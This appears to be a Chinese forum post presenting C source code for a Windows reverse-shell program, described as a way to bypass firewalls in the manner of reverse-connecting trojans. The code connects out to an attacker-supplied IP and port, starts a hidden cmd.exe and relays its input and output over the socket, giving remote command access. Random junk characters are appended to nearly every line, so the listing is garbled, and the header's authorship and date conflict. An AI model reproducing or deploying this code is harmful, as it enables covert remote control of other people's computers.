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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .H M3s  
R#ZJLT  
/* ============================== *re?V9  
Rebound port in Windows NT NL `  
By wind,2006/7 MUZ]*n&0  
===============================*/ 2/t;}pw8  
#include =AzkE]   
#include VfJ{);   
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#pragma comment(lib,"wsock32.lib") n2-+.9cY  
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void OutputShell(); OW=3t#"7Kp  
SOCKET sClient; g8'8"9:xC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "]p&7  
DFZ@q=ZT  
void main(int argc,char **argv) w0nbL^f  
{ ):tv V  
WSADATA stWsaData; z]%@r 7  
int nRet; Jia@HrLR  
SOCKADDR_IN stSaiClient,stSaiServer; {Y-'i;j?  
kk<%VKC  
if(argc != 3) qHe H/e%`V  
{ '^WR5P<8c  
printf("Useage:\n\rRebound DestIP DestPort\n"); c-NUD$  
return; &@{`{  
} dVMl;{  
Ca?w"m~h  
WSAStartup(MAKEWORD(2,2),&stWsaData); sl$y&C-  
^Lfwoy7R  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ND?"1/s  
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stSaiClient.sin_family = AF_INET; %nq<nfDT  
stSaiClient.sin_port = htons(0); 2P'Vp7f6 Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :+QNN<  
S/pU|zV[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) TBJ?8W(  
{ euT=]j  
printf("Bind Socket Failed!\n"); ?(B}w*G~  
return; "38<14V  
} 6ZI7V!k  
gU&+^e >  
stSaiServer.sin_family = AF_INET; 2<n 18-|OQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); OPq|4xu  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,-EN{ed  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *wmkcifF;  
{ nIBeZof  
printf("Connect Error!"); qA!4\v={  
return; \pK&gdw  
} ?Q=(?yR0]  
OutputShell(); am.d^'  
} ;}S_PnwC@  
k 75 p  
void OutputShell() 6 mLC{X[  
{ =&"pG` x  
char szBuff[1024]; @%u}|iF|  
SECURITY_ATTRIBUTES stSecurityAttributes; ?uTuO  
OSVERSIONINFO stOsversionInfo; ph(LsPT-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q0>9T  
STARTUPINFO stStartupInfo; `l?MmIJ  
char *szShell; e'G3\h}#  
PROCESS_INFORMATION stProcessInformation; I;_T_m4.q  
unsigned long lBytesRead; >#mKM%T2MJ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ym ]g0a  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); buzpmRoN)  
stSecurityAttributes.lpSecurityDescriptor = 0; 'CqAjlj  
stSecurityAttributes.bInheritHandle = TRUE; k)F!gV#  
r/ATZAgHP  
" @ ""  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^qC.bv]&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xu_1r8-|=b  
3kGg;z6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W}D[9zo/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jr2>D=  
stStartupInfo.wShowWindow = SW_HIDE; @g#| srYD  
stStartupInfo.hStdInput = hReadPipe; "tk1W>liIN  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U$a)lcJd  
;{iTS sb  
GetVersionEx(&stOsversionInfo); RmKbnS $*q  
~PF,[$?4n  
switch(stOsversionInfo.dwPlatformId) dE[X6$H[  
{ &l{ctP%q  
case 1: leizjL\P  
szShell = "command.com"; y<`:I|y  
break; $ <[r3  
default: ;*Y+.?>a  
szShell = "cmd.exe"; t*BCpC }  
break; 30Q77,Nsny  
} g.:ZMV  
H)*%eG~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K|~ !oQ  
q(s0dkrj  
send(sClient,szMsg,77,0); {t0!N]'  
while(1) C$ at9=(E6  
{ wp~KrUlR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T72Z<h|<  
if(lBytesRead) Avljrds+7  
{ zKYN5|17  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5>1c4u`x  
send(sClient,szBuff,lBytesRead,0); F)'_,.?0  
} Bgsi$2hI  
else !VG ]~lc  
{ xQ?$H?5B<  
lBytesRead=recv(sClient,szBuff,1024,0); qIzv|Nte  
if(lBytesRead<=0) break; eK3d_bF+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4T)`%Oo<}  
} +['1~5  
} n^G[N-\3  
+W[{UC4b  
return; 0_^3 |n  
}
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